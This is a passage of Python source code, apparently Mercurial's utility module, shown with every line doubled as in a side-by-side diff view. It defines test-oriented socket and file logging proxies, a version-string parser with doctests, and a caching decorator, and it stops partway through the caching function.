615 return object.__getattribute__(self, '_observedcall')(
615 return object.__getattribute__(self, '_observedcall')(
616 'detach', *args, **kwargs
616 'detach', *args, **kwargs
617 )
617 )
618
618
619 def read1(self, *args, **kwargs):
619 def read1(self, *args, **kwargs):
620 return object.__getattribute__(self, '_observedcall')(
620 return object.__getattribute__(self, '_observedcall')(
621 'read1', *args, **kwargs
621 'read1', *args, **kwargs
622 )
622 )
623
623
624
624
625 class observedbufferedinputpipe(bufferedinputpipe):
625 class observedbufferedinputpipe(bufferedinputpipe):
626 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
626 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
627
627
628 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
628 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
629 bypass ``fileobjectproxy``. Because of this, we need to make
629 bypass ``fileobjectproxy``. Because of this, we need to make
630 ``bufferedinputpipe`` aware of these operations.
630 ``bufferedinputpipe`` aware of these operations.
631
631
632 This variation of ``bufferedinputpipe`` can notify observers about
632 This variation of ``bufferedinputpipe`` can notify observers about
633 ``os.read()`` events. It also re-publishes other events, such as
633 ``os.read()`` events. It also re-publishes other events, such as
634 ``read()`` and ``readline()``.
634 ``read()`` and ``readline()``.
635 """
635 """
636
636
637 def _fillbuffer(self):
637 def _fillbuffer(self):
638 res = super(observedbufferedinputpipe, self)._fillbuffer()
638 res = super(observedbufferedinputpipe, self)._fillbuffer()
639
639
640 fn = getattr(self._input._observer, 'osread', None)
640 fn = getattr(self._input._observer, 'osread', None)
641 if fn:
641 if fn:
642 fn(res, _chunksize)
642 fn(res, _chunksize)
643
643
644 return res
644 return res
645
645
646 # We use different observer methods because the operation isn't
646 # We use different observer methods because the operation isn't
647 # performed on the actual file object but on us.
647 # performed on the actual file object but on us.
648 def read(self, size):
648 def read(self, size):
649 res = super(observedbufferedinputpipe, self).read(size)
649 res = super(observedbufferedinputpipe, self).read(size)
650
650
651 fn = getattr(self._input._observer, 'bufferedread', None)
651 fn = getattr(self._input._observer, 'bufferedread', None)
652 if fn:
652 if fn:
653 fn(res, size)
653 fn(res, size)
654
654
655 return res
655 return res
656
656
657 def readline(self, *args, **kwargs):
657 def readline(self, *args, **kwargs):
658 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
658 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
659
659
660 fn = getattr(self._input._observer, 'bufferedreadline', None)
660 fn = getattr(self._input._observer, 'bufferedreadline', None)
661 if fn:
661 if fn:
662 fn(res)
662 fn(res)
663
663
664 return res
664 return res
665
665
666
666
667 PROXIED_SOCKET_METHODS = {
667 PROXIED_SOCKET_METHODS = {
668 'makefile',
668 'makefile',
669 'recv',
669 'recv',
670 'recvfrom',
670 'recvfrom',
671 'recvfrom_into',
671 'recvfrom_into',
672 'recv_into',
672 'recv_into',
673 'send',
673 'send',
674 'sendall',
674 'sendall',
675 'sendto',
675 'sendto',
676 'setblocking',
676 'setblocking',
677 'settimeout',
677 'settimeout',
678 'gettimeout',
678 'gettimeout',
679 'setsockopt',
679 'setsockopt',
680 }
680 }
681
681
682
682
683 class socketproxy(object):
683 class socketproxy(object):
684 """A proxy around a socket that tells a watcher when events occur.
684 """A proxy around a socket that tells a watcher when events occur.
685
685
686 This is like ``fileobjectproxy`` except for sockets.
686 This is like ``fileobjectproxy`` except for sockets.
687
687
688 This type is intended to only be used for testing purposes. Think hard
688 This type is intended to only be used for testing purposes. Think hard
689 before using it in important code.
689 before using it in important code.
690 """
690 """
691
691
692 __slots__ = (
692 __slots__ = (
693 '_orig',
693 '_orig',
694 '_observer',
694 '_observer',
695 )
695 )
696
696
697 def __init__(self, sock, observer):
697 def __init__(self, sock, observer):
698 object.__setattr__(self, '_orig', sock)
698 object.__setattr__(self, '_orig', sock)
699 object.__setattr__(self, '_observer', observer)
699 object.__setattr__(self, '_observer', observer)
700
700
701 def __getattribute__(self, name):
701 def __getattribute__(self, name):
702 if name in PROXIED_SOCKET_METHODS:
702 if name in PROXIED_SOCKET_METHODS:
703 return object.__getattribute__(self, name)
703 return object.__getattribute__(self, name)
704
704
705 return getattr(object.__getattribute__(self, '_orig'), name)
705 return getattr(object.__getattribute__(self, '_orig'), name)
706
706
707 def __delattr__(self, name):
707 def __delattr__(self, name):
708 return delattr(object.__getattribute__(self, '_orig'), name)
708 return delattr(object.__getattribute__(self, '_orig'), name)
709
709
710 def __setattr__(self, name, value):
710 def __setattr__(self, name, value):
711 return setattr(object.__getattribute__(self, '_orig'), name, value)
711 return setattr(object.__getattribute__(self, '_orig'), name, value)
712
712
713 def __nonzero__(self):
713 def __nonzero__(self):
714 return bool(object.__getattribute__(self, '_orig'))
714 return bool(object.__getattribute__(self, '_orig'))
715
715
716 __bool__ = __nonzero__
716 __bool__ = __nonzero__
717
717
718 def _observedcall(self, name, *args, **kwargs):
718 def _observedcall(self, name, *args, **kwargs):
719 # Call the original object.
719 # Call the original object.
720 orig = object.__getattribute__(self, '_orig')
720 orig = object.__getattribute__(self, '_orig')
721 res = getattr(orig, name)(*args, **kwargs)
721 res = getattr(orig, name)(*args, **kwargs)
722
722
723 # Call a method on the observer of the same name with arguments
723 # Call a method on the observer of the same name with arguments
724 # so it can react, log, etc.
724 # so it can react, log, etc.
725 observer = object.__getattribute__(self, '_observer')
725 observer = object.__getattribute__(self, '_observer')
726 fn = getattr(observer, name, None)
726 fn = getattr(observer, name, None)
727 if fn:
727 if fn:
728 fn(res, *args, **kwargs)
728 fn(res, *args, **kwargs)
729
729
730 return res
730 return res
731
731
732 def makefile(self, *args, **kwargs):
732 def makefile(self, *args, **kwargs):
733 res = object.__getattribute__(self, '_observedcall')(
733 res = object.__getattribute__(self, '_observedcall')(
734 'makefile', *args, **kwargs
734 'makefile', *args, **kwargs
735 )
735 )
736
736
737 # The file object may be used for I/O. So we turn it into a
737 # The file object may be used for I/O. So we turn it into a
738 # proxy using our observer.
738 # proxy using our observer.
739 observer = object.__getattribute__(self, '_observer')
739 observer = object.__getattribute__(self, '_observer')
740 return makeloggingfileobject(
740 return makeloggingfileobject(
741 observer.fh,
741 observer.fh,
742 res,
742 res,
743 observer.name,
743 observer.name,
744 reads=observer.reads,
744 reads=observer.reads,
745 writes=observer.writes,
745 writes=observer.writes,
746 logdata=observer.logdata,
746 logdata=observer.logdata,
747 logdataapis=observer.logdataapis,
747 logdataapis=observer.logdataapis,
748 )
748 )
749
749
750 def recv(self, *args, **kwargs):
750 def recv(self, *args, **kwargs):
751 return object.__getattribute__(self, '_observedcall')(
751 return object.__getattribute__(self, '_observedcall')(
752 'recv', *args, **kwargs
752 'recv', *args, **kwargs
753 )
753 )
754
754
755 def recvfrom(self, *args, **kwargs):
755 def recvfrom(self, *args, **kwargs):
756 return object.__getattribute__(self, '_observedcall')(
756 return object.__getattribute__(self, '_observedcall')(
757 'recvfrom', *args, **kwargs
757 'recvfrom', *args, **kwargs
758 )
758 )
759
759
760 def recvfrom_into(self, *args, **kwargs):
760 def recvfrom_into(self, *args, **kwargs):
761 return object.__getattribute__(self, '_observedcall')(
761 return object.__getattribute__(self, '_observedcall')(
762 'recvfrom_into', *args, **kwargs
762 'recvfrom_into', *args, **kwargs
763 )
763 )
764
764
765 def recv_into(self, *args, **kwargs):
765 def recv_into(self, *args, **kwargs):
766 return object.__getattribute__(self, '_observedcall')(
766 return object.__getattribute__(self, '_observedcall')(
767 'recv_info', *args, **kwargs
767 'recv_info', *args, **kwargs
768 )
768 )
769
769
770 def send(self, *args, **kwargs):
770 def send(self, *args, **kwargs):
771 return object.__getattribute__(self, '_observedcall')(
771 return object.__getattribute__(self, '_observedcall')(
772 'send', *args, **kwargs
772 'send', *args, **kwargs
773 )
773 )
774
774
775 def sendall(self, *args, **kwargs):
775 def sendall(self, *args, **kwargs):
776 return object.__getattribute__(self, '_observedcall')(
776 return object.__getattribute__(self, '_observedcall')(
777 'sendall', *args, **kwargs
777 'sendall', *args, **kwargs
778 )
778 )
779
779
780 def sendto(self, *args, **kwargs):
780 def sendto(self, *args, **kwargs):
781 return object.__getattribute__(self, '_observedcall')(
781 return object.__getattribute__(self, '_observedcall')(
782 'sendto', *args, **kwargs
782 'sendto', *args, **kwargs
783 )
783 )
784
784
785 def setblocking(self, *args, **kwargs):
785 def setblocking(self, *args, **kwargs):
786 return object.__getattribute__(self, '_observedcall')(
786 return object.__getattribute__(self, '_observedcall')(
787 'setblocking', *args, **kwargs
787 'setblocking', *args, **kwargs
788 )
788 )
789
789
790 def settimeout(self, *args, **kwargs):
790 def settimeout(self, *args, **kwargs):
791 return object.__getattribute__(self, '_observedcall')(
791 return object.__getattribute__(self, '_observedcall')(
792 'settimeout', *args, **kwargs
792 'settimeout', *args, **kwargs
793 )
793 )
794
794
795 def gettimeout(self, *args, **kwargs):
795 def gettimeout(self, *args, **kwargs):
796 return object.__getattribute__(self, '_observedcall')(
796 return object.__getattribute__(self, '_observedcall')(
797 'gettimeout', *args, **kwargs
797 'gettimeout', *args, **kwargs
798 )
798 )
799
799
800 def setsockopt(self, *args, **kwargs):
800 def setsockopt(self, *args, **kwargs):
801 return object.__getattribute__(self, '_observedcall')(
801 return object.__getattribute__(self, '_observedcall')(
802 'setsockopt', *args, **kwargs
802 'setsockopt', *args, **kwargs
803 )
803 )
804
804
805
805
806 class baseproxyobserver(object):
806 class baseproxyobserver(object):
807 def __init__(self, fh, name, logdata, logdataapis):
807 def __init__(self, fh, name, logdata, logdataapis):
808 self.fh = fh
808 self.fh = fh
809 self.name = name
809 self.name = name
810 self.logdata = logdata
810 self.logdata = logdata
811 self.logdataapis = logdataapis
811 self.logdataapis = logdataapis
812
812
813 def _writedata(self, data):
813 def _writedata(self, data):
814 if not self.logdata:
814 if not self.logdata:
815 if self.logdataapis:
815 if self.logdataapis:
816 self.fh.write(b'\n')
816 self.fh.write(b'\n')
817 self.fh.flush()
817 self.fh.flush()
818 return
818 return
819
819
820 # Simple case writes all data on a single line.
820 # Simple case writes all data on a single line.
821 if b'\n' not in data:
821 if b'\n' not in data:
822 if self.logdataapis:
822 if self.logdataapis:
823 self.fh.write(b': %s\n' % stringutil.escapestr(data))
823 self.fh.write(b': %s\n' % stringutil.escapestr(data))
824 else:
824 else:
825 self.fh.write(
825 self.fh.write(
826 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
826 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
827 )
827 )
828 self.fh.flush()
828 self.fh.flush()
829 return
829 return
830
830
831 # Data with newlines is written to multiple lines.
831 # Data with newlines is written to multiple lines.
832 if self.logdataapis:
832 if self.logdataapis:
833 self.fh.write(b':\n')
833 self.fh.write(b':\n')
834
834
835 lines = data.splitlines(True)
835 lines = data.splitlines(True)
836 for line in lines:
836 for line in lines:
837 self.fh.write(
837 self.fh.write(
838 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
838 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
839 )
839 )
840 self.fh.flush()
840 self.fh.flush()
841
841
842
842
843 class fileobjectobserver(baseproxyobserver):
843 class fileobjectobserver(baseproxyobserver):
844 """Logs file object activity."""
844 """Logs file object activity."""
845
845
846 def __init__(
846 def __init__(
847 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
847 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
848 ):
848 ):
849 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
849 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
850 self.reads = reads
850 self.reads = reads
851 self.writes = writes
851 self.writes = writes
852
852
853 def read(self, res, size=-1):
853 def read(self, res, size=-1):
854 if not self.reads:
854 if not self.reads:
855 return
855 return
856 # Python 3 can return None from reads at EOF instead of empty strings.
856 # Python 3 can return None from reads at EOF instead of empty strings.
857 if res is None:
857 if res is None:
858 res = b''
858 res = b''
859
859
860 if size == -1 and res == b'':
860 if size == -1 and res == b'':
861 # Suppress pointless read(-1) calls that return
861 # Suppress pointless read(-1) calls that return
862 # nothing. These happen _a lot_ on Python 3, and there
862 # nothing. These happen _a lot_ on Python 3, and there
863 # doesn't seem to be a better workaround to have matching
863 # doesn't seem to be a better workaround to have matching
864 # Python 2 and 3 behavior. :(
864 # Python 2 and 3 behavior. :(
865 return
865 return
866
866
867 if self.logdataapis:
867 if self.logdataapis:
868 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
868 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
869
869
870 self._writedata(res)
870 self._writedata(res)
871
871
872 def readline(self, res, limit=-1):
872 def readline(self, res, limit=-1):
873 if not self.reads:
873 if not self.reads:
874 return
874 return
875
875
876 if self.logdataapis:
876 if self.logdataapis:
877 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
877 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
878
878
879 self._writedata(res)
879 self._writedata(res)
880
880
881 def readinto(self, res, dest):
881 def readinto(self, res, dest):
882 if not self.reads:
882 if not self.reads:
883 return
883 return
884
884
885 if self.logdataapis:
885 if self.logdataapis:
886 self.fh.write(
886 self.fh.write(
887 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
887 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
888 )
888 )
889
889
890 data = dest[0:res] if res is not None else b''
890 data = dest[0:res] if res is not None else b''
891
891
892 # _writedata() uses "in" operator and is confused by memoryview because
892 # _writedata() uses "in" operator and is confused by memoryview because
893 # characters are ints on Python 3.
893 # characters are ints on Python 3.
894 if isinstance(data, memoryview):
894 if isinstance(data, memoryview):
895 data = data.tobytes()
895 data = data.tobytes()
896
896
897 self._writedata(data)
897 self._writedata(data)
898
898
899 def write(self, res, data):
899 def write(self, res, data):
900 if not self.writes:
900 if not self.writes:
901 return
901 return
902
902
903 # Python 2 returns None from some write() calls. Python 3 (reasonably)
903 # Python 2 returns None from some write() calls. Python 3 (reasonably)
904 # returns the integer bytes written.
904 # returns the integer bytes written.
905 if res is None and data:
905 if res is None and data:
906 res = len(data)
906 res = len(data)
907
907
908 if self.logdataapis:
908 if self.logdataapis:
909 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
909 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
910
910
911 self._writedata(data)
911 self._writedata(data)
912
912
913 def flush(self, res):
913 def flush(self, res):
914 if not self.writes:
914 if not self.writes:
915 return
915 return
916
916
917 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
917 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
918
918
919 # For observedbufferedinputpipe.
919 # For observedbufferedinputpipe.
920 def bufferedread(self, res, size):
920 def bufferedread(self, res, size):
921 if not self.reads:
921 if not self.reads:
922 return
922 return
923
923
924 if self.logdataapis:
924 if self.logdataapis:
925 self.fh.write(
925 self.fh.write(
926 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
926 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
927 )
927 )
928
928
929 self._writedata(res)
929 self._writedata(res)
930
930
931 def bufferedreadline(self, res):
931 def bufferedreadline(self, res):
932 if not self.reads:
932 if not self.reads:
933 return
933 return
934
934
935 if self.logdataapis:
935 if self.logdataapis:
936 self.fh.write(
936 self.fh.write(
937 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
937 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
938 )
938 )
939
939
940 self._writedata(res)
940 self._writedata(res)
941
941
942
942
943 def makeloggingfileobject(
943 def makeloggingfileobject(
944 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
944 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
945 ):
945 ):
946 """Turn a file object into a logging file object."""
946 """Turn a file object into a logging file object."""
947
947
948 observer = fileobjectobserver(
948 observer = fileobjectobserver(
949 logh,
949 logh,
950 name,
950 name,
951 reads=reads,
951 reads=reads,
952 writes=writes,
952 writes=writes,
953 logdata=logdata,
953 logdata=logdata,
954 logdataapis=logdataapis,
954 logdataapis=logdataapis,
955 )
955 )
956 return fileobjectproxy(fh, observer)
956 return fileobjectproxy(fh, observer)
957
957
958
958
959 class socketobserver(baseproxyobserver):
959 class socketobserver(baseproxyobserver):
960 """Logs socket activity."""
960 """Logs socket activity."""
961
961
962 def __init__(
962 def __init__(
963 self,
963 self,
964 fh,
964 fh,
965 name,
965 name,
966 reads=True,
966 reads=True,
967 writes=True,
967 writes=True,
968 states=True,
968 states=True,
969 logdata=False,
969 logdata=False,
970 logdataapis=True,
970 logdataapis=True,
971 ):
971 ):
972 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
972 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
973 self.reads = reads
973 self.reads = reads
974 self.writes = writes
974 self.writes = writes
975 self.states = states
975 self.states = states
976
976
977 def makefile(self, res, mode=None, bufsize=None):
977 def makefile(self, res, mode=None, bufsize=None):
978 if not self.states:
978 if not self.states:
979 return
979 return
980
980
981 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
981 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
982
982
983 def recv(self, res, size, flags=0):
983 def recv(self, res, size, flags=0):
984 if not self.reads:
984 if not self.reads:
985 return
985 return
986
986
987 if self.logdataapis:
987 if self.logdataapis:
988 self.fh.write(
988 self.fh.write(
989 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
989 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
990 )
990 )
991 self._writedata(res)
991 self._writedata(res)
992
992
993 def recvfrom(self, res, size, flags=0):
993 def recvfrom(self, res, size, flags=0):
994 if not self.reads:
994 if not self.reads:
995 return
995 return
996
996
997 if self.logdataapis:
997 if self.logdataapis:
998 self.fh.write(
998 self.fh.write(
999 b'%s> recvfrom(%d, %d) -> %d'
999 b'%s> recvfrom(%d, %d) -> %d'
1000 % (self.name, size, flags, len(res[0]))
1000 % (self.name, size, flags, len(res[0]))
1001 )
1001 )
1002
1002
1003 self._writedata(res[0])
1003 self._writedata(res[0])
1004
1004
1005 def recvfrom_into(self, res, buf, size, flags=0):
1005 def recvfrom_into(self, res, buf, size, flags=0):
1006 if not self.reads:
1006 if not self.reads:
1007 return
1007 return
1008
1008
1009 if self.logdataapis:
1009 if self.logdataapis:
1010 self.fh.write(
1010 self.fh.write(
1011 b'%s> recvfrom_into(%d, %d) -> %d'
1011 b'%s> recvfrom_into(%d, %d) -> %d'
1012 % (self.name, size, flags, res[0])
1012 % (self.name, size, flags, res[0])
1013 )
1013 )
1014
1014
1015 self._writedata(buf[0 : res[0]])
1015 self._writedata(buf[0 : res[0]])
1016
1016
1017 def recv_into(self, res, buf, size=0, flags=0):
1017 def recv_into(self, res, buf, size=0, flags=0):
1018 if not self.reads:
1018 if not self.reads:
1019 return
1019 return
1020
1020
1021 if self.logdataapis:
1021 if self.logdataapis:
1022 self.fh.write(
1022 self.fh.write(
1023 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1023 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1024 )
1024 )
1025
1025
1026 self._writedata(buf[0:res])
1026 self._writedata(buf[0:res])
1027
1027
1028 def send(self, res, data, flags=0):
1028 def send(self, res, data, flags=0):
1029 if not self.writes:
1029 if not self.writes:
1030 return
1030 return
1031
1031
1032 self.fh.write(
1032 self.fh.write(
1033 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1033 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1034 )
1034 )
1035 self._writedata(data)
1035 self._writedata(data)
1036
1036
1037 def sendall(self, res, data, flags=0):
1037 def sendall(self, res, data, flags=0):
1038 if not self.writes:
1038 if not self.writes:
1039 return
1039 return
1040
1040
1041 if self.logdataapis:
1041 if self.logdataapis:
1042 # Returns None on success. So don't bother reporting return value.
1042 # Returns None on success. So don't bother reporting return value.
1043 self.fh.write(
1043 self.fh.write(
1044 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1044 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1045 )
1045 )
1046
1046
1047 self._writedata(data)
1047 self._writedata(data)
1048
1048
1049 def sendto(self, res, data, flagsoraddress, address=None):
1049 def sendto(self, res, data, flagsoraddress, address=None):
1050 if not self.writes:
1050 if not self.writes:
1051 return
1051 return
1052
1052
1053 if address:
1053 if address:
1054 flags = flagsoraddress
1054 flags = flagsoraddress
1055 else:
1055 else:
1056 flags = 0
1056 flags = 0
1057
1057
1058 if self.logdataapis:
1058 if self.logdataapis:
1059 self.fh.write(
1059 self.fh.write(
1060 b'%s> sendto(%d, %d, %r) -> %d'
1060 b'%s> sendto(%d, %d, %r) -> %d'
1061 % (self.name, len(data), flags, address, res)
1061 % (self.name, len(data), flags, address, res)
1062 )
1062 )
1063
1063
1064 self._writedata(data)
1064 self._writedata(data)
1065
1065
1066 def setblocking(self, res, flag):
1066 def setblocking(self, res, flag):
1067 if not self.states:
1067 if not self.states:
1068 return
1068 return
1069
1069
1070 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1070 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1071
1071
1072 def settimeout(self, res, value):
1072 def settimeout(self, res, value):
1073 if not self.states:
1073 if not self.states:
1074 return
1074 return
1075
1075
1076 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1076 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1077
1077
1078 def gettimeout(self, res):
1078 def gettimeout(self, res):
1079 if not self.states:
1079 if not self.states:
1080 return
1080 return
1081
1081
1082 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1082 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1083
1083
1084 def setsockopt(self, res, level, optname, value):
1084 def setsockopt(self, res, level, optname, value):
1085 if not self.states:
1085 if not self.states:
1086 return
1086 return
1087
1087
1088 self.fh.write(
1088 self.fh.write(
1089 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1089 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1090 % (self.name, level, optname, value, res)
1090 % (self.name, level, optname, value, res)
1091 )
1091 )
1092
1092
1093
1093
1094 def makeloggingsocket(
1094 def makeloggingsocket(
1095 logh,
1095 logh,
1096 fh,
1096 fh,
1097 name,
1097 name,
1098 reads=True,
1098 reads=True,
1099 writes=True,
1099 writes=True,
1100 states=True,
1100 states=True,
1101 logdata=False,
1101 logdata=False,
1102 logdataapis=True,
1102 logdataapis=True,
1103 ):
1103 ):
1104 """Turn a socket into a logging socket."""
1104 """Turn a socket into a logging socket."""
1105
1105
1106 observer = socketobserver(
1106 observer = socketobserver(
1107 logh,
1107 logh,
1108 name,
1108 name,
1109 reads=reads,
1109 reads=reads,
1110 writes=writes,
1110 writes=writes,
1111 states=states,
1111 states=states,
1112 logdata=logdata,
1112 logdata=logdata,
1113 logdataapis=logdataapis,
1113 logdataapis=logdataapis,
1114 )
1114 )
1115 return socketproxy(fh, observer)
1115 return socketproxy(fh, observer)
1116
1116
1117
1117
1118 def version():
1118 def version():
1119 """Return version information if available."""
1119 """Return version information if available."""
1120 try:
1120 try:
1121 from . import __version__
1121 from . import __version__
1122
1122
1123 return __version__.version
1123 return __version__.version
1124 except ImportError:
1124 except ImportError:
1125 return b'unknown'
1125 return b'unknown'
1126
1126
1127
1127
1128 def versiontuple(v=None, n=4):
1128 def versiontuple(v=None, n=4):
1129 """Parses a Mercurial version string into an N-tuple.
1129 """Parses a Mercurial version string into an N-tuple.
1130
1130
1131 The version string to be parsed is specified with the ``v`` argument.
1131 The version string to be parsed is specified with the ``v`` argument.
1132 If it isn't defined, the current Mercurial version string will be parsed.
1132 If it isn't defined, the current Mercurial version string will be parsed.
1133
1133
1134 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1134 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1135 returned values:
1135 returned values:
1136
1136
1137 >>> v = b'3.6.1+190-df9b73d2d444'
1137 >>> v = b'3.6.1+190-df9b73d2d444'
1138 >>> versiontuple(v, 2)
1138 >>> versiontuple(v, 2)
1139 (3, 6)
1139 (3, 6)
1140 >>> versiontuple(v, 3)
1140 >>> versiontuple(v, 3)
1141 (3, 6, 1)
1141 (3, 6, 1)
1142 >>> versiontuple(v, 4)
1142 >>> versiontuple(v, 4)
1143 (3, 6, 1, '190-df9b73d2d444')
1143 (3, 6, 1, '190-df9b73d2d444')
1144
1144
1145 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1145 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1146 (3, 6, 1, '190-df9b73d2d444+20151118')
1146 (3, 6, 1, '190-df9b73d2d444+20151118')
1147
1147
1148 >>> v = b'3.6'
1148 >>> v = b'3.6'
1149 >>> versiontuple(v, 2)
1149 >>> versiontuple(v, 2)
1150 (3, 6)
1150 (3, 6)
1151 >>> versiontuple(v, 3)
1151 >>> versiontuple(v, 3)
1152 (3, 6, None)
1152 (3, 6, None)
1153 >>> versiontuple(v, 4)
1153 >>> versiontuple(v, 4)
1154 (3, 6, None, None)
1154 (3, 6, None, None)
1155
1155
1156 >>> v = b'3.9-rc'
1156 >>> v = b'3.9-rc'
1157 >>> versiontuple(v, 2)
1157 >>> versiontuple(v, 2)
1158 (3, 9)
1158 (3, 9)
1159 >>> versiontuple(v, 3)
1159 >>> versiontuple(v, 3)
1160 (3, 9, None)
1160 (3, 9, None)
1161 >>> versiontuple(v, 4)
1161 >>> versiontuple(v, 4)
1162 (3, 9, None, 'rc')
1162 (3, 9, None, 'rc')
1163
1163
1164 >>> v = b'3.9-rc+2-02a8fea4289b'
1164 >>> v = b'3.9-rc+2-02a8fea4289b'
1165 >>> versiontuple(v, 2)
1165 >>> versiontuple(v, 2)
1166 (3, 9)
1166 (3, 9)
1167 >>> versiontuple(v, 3)
1167 >>> versiontuple(v, 3)
1168 (3, 9, None)
1168 (3, 9, None)
1169 >>> versiontuple(v, 4)
1169 >>> versiontuple(v, 4)
1170 (3, 9, None, 'rc+2-02a8fea4289b')
1170 (3, 9, None, 'rc+2-02a8fea4289b')
1171
1171
1172 >>> versiontuple(b'4.6rc0')
1172 >>> versiontuple(b'4.6rc0')
1173 (4, 6, None, 'rc0')
1173 (4, 6, None, 'rc0')
1174 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1174 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1175 (4, 6, None, 'rc0+12-425d55e54f98')
1175 (4, 6, None, 'rc0+12-425d55e54f98')
1176 >>> versiontuple(b'.1.2.3')
1176 >>> versiontuple(b'.1.2.3')
1177 (None, None, None, '.1.2.3')
1177 (None, None, None, '.1.2.3')
1178 >>> versiontuple(b'12.34..5')
1178 >>> versiontuple(b'12.34..5')
1179 (12, 34, None, '..5')
1179 (12, 34, None, '..5')
1180 >>> versiontuple(b'1.2.3.4.5.6')
1180 >>> versiontuple(b'1.2.3.4.5.6')
1181 (1, 2, 3, '.4.5.6')
1181 (1, 2, 3, '.4.5.6')
1182 """
1182 """
1183 if not v:
1183 if not v:
1184 v = version()
1184 v = version()
1185 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1185 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1186 if not m:
1186 if not m:
1187 vparts, extra = b'', v
1187 vparts, extra = b'', v
1188 elif m.group(2):
1188 elif m.group(2):
1189 vparts, extra = m.groups()
1189 vparts, extra = m.groups()
1190 else:
1190 else:
1191 vparts, extra = m.group(1), None
1191 vparts, extra = m.group(1), None
1192
1192
1193 assert vparts is not None # help pytype
1193 assert vparts is not None # help pytype
1194
1194
1195 vints = []
1195 vints = []
1196 for i in vparts.split(b'.'):
1196 for i in vparts.split(b'.'):
1197 try:
1197 try:
1198 vints.append(int(i))
1198 vints.append(int(i))
1199 except ValueError:
1199 except ValueError:
1200 break
1200 break
1201 # (3, 6) -> (3, 6, None)
1201 # (3, 6) -> (3, 6, None)
1202 while len(vints) < 3:
1202 while len(vints) < 3:
1203 vints.append(None)
1203 vints.append(None)
1204
1204
1205 if n == 2:
1205 if n == 2:
1206 return (vints[0], vints[1])
1206 return (vints[0], vints[1])
1207 if n == 3:
1207 if n == 3:
1208 return (vints[0], vints[1], vints[2])
1208 return (vints[0], vints[1], vints[2])
1209 if n == 4:
1209 if n == 4:
1210 return (vints[0], vints[1], vints[2], extra)
1210 return (vints[0], vints[1], vints[2], extra)
1211
1211
1212
1212
1213 def cachefunc(func):
1213 def cachefunc(func):
1214 '''cache the result of function calls'''
1214 '''cache the result of function calls'''
1215 # XXX doesn't handle keywords args
1215 # XXX doesn't handle keywords args
1216 if func.__code__.co_argcount == 0:
1216 if func.__code__.co_argcount == 0:
1217 listcache = []
1217 listcache = []
1218
1218
1219 def f():
1219 def f():
1220 if len(listcache) == 0:
1220 if len(listcache) == 0:
1221 listcache.append(func())
1221 listcache.append(func())
1222 return listcache[0]
1222 return listcache[0]
1223
1223
1224 return f
1224 return f
1225 cache = {}
1225 cache = {}
1226 if func.__code__.co_argcount == 1:
1226 if func.__code__.co_argcount == 1:
1227 # we gain a small amount of time because
1227 # we gain a small amount of time because
1228 # we don't need to pack/unpack the list
1228 # we don't need to pack/unpack the list
1229 def f(arg):
1229 def f(arg):
1230 if arg not in cache:
1230 if arg not in cache:
1231 cache[arg] = func(arg)
1231 cache[arg] = func(arg)
1232 return cache[arg]
1232 return cache[arg]
1233
1233
1234 else:
1234 else:
1235
1235
1236 def f(*args):
1236 def f(*args):
1237 if args not in cache:
1237 if args not in cache:
1238 cache[args] = func(*args)
1238 cache[args] = func(*args)
1239 return cache[args]
